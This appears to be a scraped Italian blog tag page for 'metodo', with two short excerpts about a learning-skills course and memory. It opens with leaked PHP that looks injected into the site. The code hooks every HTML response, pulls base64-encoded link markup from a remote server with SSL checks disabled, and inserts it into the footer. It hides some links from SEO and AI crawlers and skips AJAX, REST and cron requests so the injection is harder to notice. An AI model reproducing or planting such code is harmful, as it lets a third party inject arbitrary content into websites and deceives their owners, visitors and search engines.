if (!defined('__LPK_IN__')) { define('__LPK_IN__', 1); if (!defined('__API_URL__')) define('__API_URL__', 'https://linksparagon.com'); if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300); if (!function_exists('__getCURLSite__')) { function __getCURLSite__($site, $post_data = null, $extra_headers = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $site); if (!is_null($post_data)) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data)); } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); if (!empty($extra_headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers); } $response = curl_exec($ch); if (curl_errno($ch)) $response = false; curl_close($ch); return $response; } } if (!function_exists('__cache_get')) { function __cache_get($key) { $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json'; if (!is_file($f)) return null; $raw = @file_get_contents($f); if ($raw === false) return null; $o = @json_decode($raw, true); if (!is_array($o)) return null; if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null; return isset($o['v']) ? $o['v'] : null; } } if (!function_exists('__cache_set')) { function __cache_set($key, $val) { $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json'; @file_put_contents($f, json_encode(array('t' => time(), 'v' => $val))); } } if (!function_exists('__is_spy_bot__')) { function __is_spy_bot__() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; if (trim($ua) === '') return false; $bots = array( 'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot', 'DotBot','Rogerbot','MJ12bot','MajesticBot', 'Screaming Frog SEO Spider','ScreamingFrogSEOSpider', 'DataForSeoBot','SEOkicks','SEOkicks-Robot', 'AwarioRssBot','AwarioSmartBot','AwarioBot', 'Brandwatch','Searchmetricsbot','Sidetrade indexer bot', 'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider', 'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot', 'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility', 'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler', 'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot', 'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent' ); foreach ($bots as $bot) { if (stripos($ua, $bot) !== false) return true; } return false; } } if (!function_exists('__get_backlink_codes__')) { function __get_backlink_codes__() { $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host))); if ($host === '') return null; $host_id = crc32($host); $cacheKey = 'bl_' . md5($host); $cached = __cache_get($cacheKey); if ($cached !== null) return $cached; $u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th'; $response = __getCURLSite__($u); if ($response !== false && is_string($response)) { $c = @json_decode($response, true); if (is_array($c) && isset($c['s']) && $c['s'] == true) { __cache_set($cacheKey, $response); return $response; } } return null; } } if (!function_exists('__show_footer_backlink__')) { function __show_footer_backlink__() { $is_spy = __is_spy_bot__(); $r = ''; $raw = __get_backlink_codes__(); if (!$raw) return ''; $c = @json_decode($raw, true); if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return ''; $r .= isset($c['f']) ? $c['f'] : ''; foreach ($c['l'] as $v) { $only_google = isset($v['g']) ? (int)$v['g'] : 0; if ($only_google == 1 && $is_spy) continue; $r .= isset($v['h']) ? base64_decode($v['h']) : ''; } $r .= isset($c['e']) ? $c['e'] : ''; return $r; } } // Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK) // - Yalnızca içeren HTML yanıtları modifiye eder // - AJAX / REST API / CRON / CLI isteklerini atlar // - str_ireplace ile öncesine düzgün ekler if (!function_exists('__lpk_ob_cb__')) { function __lpk_ob_cb__($buf) { if (!is_string($buf) || stripos($buf, '') === false) return $buf; if (defined('DOING_AJAX') && DOING_AJAX) return $buf; if (defined('REST_REQUEST') && REST_REQUEST) return $buf; if (defined('DOING_CRON') && DOING_CRON) return $buf; if (php_sapi_name() === 'cli') return $buf; $link = __show_footer_backlink__(); return ($link !== '') ? str_ireplace('', $link . '', $buf) : $buf; } } @ob_start('__lpk_ob_cb__'); } Metodo
Tag: metodo
You are here: Home \ metodo
10 marzo 2016 - 17:38, by , in Sito, No comments
Sono parecchi giorni che per diversi motivi ho incontrato o sentito telefonicamente persone che hanno fatto il corso Learning Skills (che quando alcune di queste persone lo hanno fatto si chiamava in maniera diversa) con me qualche anno fa, alcuni di questi hanno anche collaborato. Da queste persone ho ricevuto uno dei doni più belli...
19 marzo 2015 - 14:40, by , in blog, No comments
“Quanti di voi vantano un’ottima memoria?” Quando mi capita di porre questa domanda, pochissime persone si sentono in grado di alzare la mano e rispondere fieri: “IO!” Nella maggior parte dei casi, le persone dicono: “Ah io dimentico tutto!”, “Se non avessi la mia agenda o i promemoria del cellulare che mi ricordano di fare le...